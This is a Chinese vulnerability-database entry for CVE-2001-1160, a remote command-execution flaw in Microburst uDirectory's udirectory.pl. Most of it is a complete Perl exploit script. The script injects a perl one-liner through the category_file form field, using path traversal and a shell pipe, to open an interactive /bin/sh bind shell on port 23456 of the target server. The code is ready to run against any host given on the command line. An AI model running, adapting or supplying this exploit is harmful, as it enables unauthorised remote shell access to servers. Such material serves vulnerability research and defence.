Microburst Technologies uDirectory任意命令执行漏洞
漏洞ID | 1106393 | 漏洞类型 | 未知 |
发布时间 | 2001-06-18 | 更新时间 | 2005-05-02 |
CVE编号 | CVE-2001-1160 |
CNNVD-ID | CNNVD-200106-088 |
漏洞平台 | CGI | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
MicroburstTechnologiesuDirectory2.0版本及之前版本的udirectory.pl存在漏洞。远程攻击者可以借助category_file字段中的shell元字符执行任意命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/2884/info
uDirectory is an online directory and listing management system.
An input validation error exists in uDirectory that may allow remote users to execute arbitrary commands on a host running the software.
#!/usr/bin/perl -w
# management, e-commerce ... blah...
# exploit by Igor Dobrovitski [email protected]
# This program will spawn /bin/sh on server's port 23456 and tell you if it thinks it succeded
# Enjoy
use Socket;
$| = 1;
####################################################################################################
$exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol);setsockopt(SOCK,
SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));listen(SOCK, 1);accept (NEW,
SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR, ">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}';
####################################################################################################
unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ustore.pln"}
($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
print "Engaging the enemy. Please stand by...n";
foreach my $perl_path ('/usr/bin/perl', '/usr/local/bin/perl')
{
print "Trying $perl_pathnn";
my $cmd = $perl_path . ' -e '' . $exec_code . ''|';
for(my $i=1;$i<=10;$i++)
{
print "try $in";
$cmd = '/..' . $cmd;
$form = makeform({'category_file' => $cmd, 'MAIN_FIELD' => 'blah',
'command' => 'add_new_listing' });
my @reply = &send($form);
}
}
&oops_the_sploit_did_not_work();
sub makeform
{
my $string;
my @blah;
my $line = '';
my $here;
my %data = %{$_[0]};
foreach my $key (keys %data)
{
$line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
}
$line =~ s|^(.*)BBBB$|$1|;
$line =~ s/\n/n/g;
$line =~ s/\t/t/g;
$line =~ s/\e/e/g;
$line =~ s/\f/f/g;
$line =~ s/\r/r/g;
$line =~ s/\0/ /g;
foreach my $char (split //, $line)
{
if($char !~ m/[A-Za-z0-9._ ]/)
{
$char = unpack "H2", $char;
$char = '%' . "$char";
}
push @blah, $char;
}
$string = join "",@blah;
$string =~ s/AAAA/=/g;
$string =~ s/BBBB/&/g;
$string =~ s/ /+/g;
my $cont_len = length($string);
$here = <<EOF;
POST $scriptpath HTTP/1.0
User-Agent: Mozilla (Windows 98)
Host: $host
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-type: application/x-www-form-urlencoded
Content-length: $cont_len
$string
EOF
return $here;
}
sub send
{
my $form_to_send = shift;
my $h = inet_aton($host) or die "Forward lookup for $host failedn";
socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolemsn";
unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "n"; close(S); exit 1 }
select(S);
$|=1;
print "$form_to_send";
local $SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456nBe good and hack
wisely.n"; exit };
alarm(20);
my @reply=<S>;
select(STDOUT);
close(S);
return @reply;
}
sub oops_the_sploit_did_not_work
{
print STDERR "The exploit didn't work on this hostnSorry...n";
exit;
}
|参考资料
来源:BUGTRAQ
名称:20010618udirectoryfromMicroburstTechnologiesremotecommandexecution
链接:http://www.securityfocus.com/archive/1/191829
来源:XF
名称:udirectory-remote-command-execution(6706)
链接:http://xforce.iss.net/static/6706.php
来源:BID
名称:2884
链接:http://www.securityfocus.com/bid/2884
相关推荐: HP-UX vgdisplay程序权限许可和访问控制漏洞
HP-UX vgdisplay程序权限许可和访问控制漏洞 漏洞ID 1207567 漏洞类型 未知 发布时间 1997-02-01 更新时间 1997-02-01 CVE编号 CVE-1999-0309 CNNVD-ID CNNVD-199702-003 漏洞…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666